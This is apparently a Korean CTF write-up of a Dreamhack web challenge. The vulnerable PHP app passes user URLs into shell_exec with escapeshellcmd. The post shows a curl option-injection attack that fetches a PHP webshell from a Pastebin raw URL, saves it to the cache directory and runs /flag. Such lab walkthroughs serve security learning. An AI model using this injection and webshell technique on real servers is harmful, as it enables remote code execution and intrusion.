웹 서비스에 접속하면 URL 입력창과 submit 버튼이 제공된 매우 단순한 화면이 나타납니다. "Online Curl Request"라는 제목이 표시되어 있어, 사용자가 입력한 URL로 curl 요청을 보내는 기능임을 알 수 있습니다.

127.0.0.1을 넣어서 보내보면은 아래의 사진처럼 http only가 뜨게 됩니다.


URL 입력창에 http로 시작하지 않는 값을 입력하면 "http only !"라는 메시지가 표시되는 것을 확인할 수 있습니다. 이는 서버가 curl 요청을 보낼 때 URL이 반드시 http로 시작해야 한다는 필터링이 적용되어 있음을 의미합니다
다시 http를 붙인 뒤 요청을 보내게 되면 아래와 같은 응답을 받을 수 있습니다.


다음으로 문제에서 제공하는 소스코드 파일을 다운받아 분석해보기로 했습니다.
index.php
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online Curl Request</h1>
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
<form>
<div class="field">
<label class="label">URL</label>
<input class="input" type="text" placeholder="url" name="url" required>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
}
?>
</div>
</div>
</body>
</html>
소스코드를 분석해보면 다음과 같은 동작 흐름을 확인할 수 있습니다.
먼저 $_GET['url']로 사용자 입력을 받고, strpos($url, 'http') !== 0 조건문을 통해 URL이 http로 시작하는지 검증합니다. 이 필터링을 통과하지 못하면 "http only !"를 출력하고 종료됩니다.
중요한 부분은 shell_exec('curl '. escapeshellcmd($_GET['url'])) 입니다. escapeshellcmd() 함수가 적용되어 있어 ;, |, &, 백틱 등의 쉘 메타문자를 이용한 Command Injection은 방어되어 있습니다.
하지만 escapeshellcmd()는 curl의 옵션 인자까지는 필터링하지 못합니다. 즉, -o, -d 같은 curl 옵션을 삽입하는 것이 가능합니다. 이 점을 이용하면 curl 옵션 인젝션 공격을 시도할 수 있습니다.
추가적으로 Dockerfile을 분석해보면 flag 파일에 대한 중요한 정보를 확인할 수 있습니다.
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
&& gcc /flag.c -o /flag \
&& chmod 111 /flag && rm /flag.c
flag.c 파일을 컴파일하여 /flag 실행 파일을 생성하고, chmod 111로 권한을 설정합니다. 이는 실행 권한만 부여하고 읽기 권한은 제거한 것입니다. 따라서 -d @/flag 같은 방식으로 파일 내용을 직접 읽는 것은 불가능하며, /flag를 실행해야만 flag를 획득할 수 있습니다.
이를 위해 웹쉘을 업로드하는 방식을 시도해보겠습니다. 먼저 Pastebin에 다음과 같은 웹쉘 코드를 작성했습니다.
<?php system('/flag'); ?>



https://pastebin.com/raw/PtSyYrNk -o ./cache/shell.php
raw URL을 사용하는 이유는 일반 Pastebin 페이지(https://pastebin.com/PtSyYrNk)에 접속하면 HTML, CSS, 광고 등이 포함된 전체 웹페이지가 반환되기 때문입니다. 반면 raw URL(https://pastebin.com/raw/PtSyYrNk)은 순수 텍스트 내용만 반환하므로, 우리가 작성한 PHP 웹쉘 코드만 정확히 가져올 수 있습니다.
-o ./cache/shell.php 옵션을 통해 curl 결과를 서버의 ./cache/ 디렉토리에 shell.php 파일로 저장합니다. 이 디렉토리는 Dockerfile에서 chmod 777로 쓰기 권한이 부여되어 있어 파일 생성이 가능합니다.


웹쉘 업로드가 완료되었으므로, 이제 해당 파일에 접속하여 flag를 획득합니다.

브라우저에서 위 URL에 접속하면 서버에 저장된 shell.php가 실행됩니다. 웹쉘 코드 내의 system('/flag')가 동작하여 /flag 실행 파일이 실행되고, 그 결과로 flag 값이 화면에 출력됩니다
'Dreamhack > 웹해킹' 카테고리의 다른 글
| [LEVEL 1] sql injection bypass WAF (0) | 2026.01.07 |
|---|---|
| [LEVEL 1] error based sql injection (0) | 2026.01.05 |
| [LEVEL 1] type confusion (0) | 2025.09.11 |
| [LEVEL 1] [wargame.kr] strcmp (1) | 2025.09.08 |
| [LEVEL 1] [wargame.kr] fly me to the moon (0) | 2025.09.08 |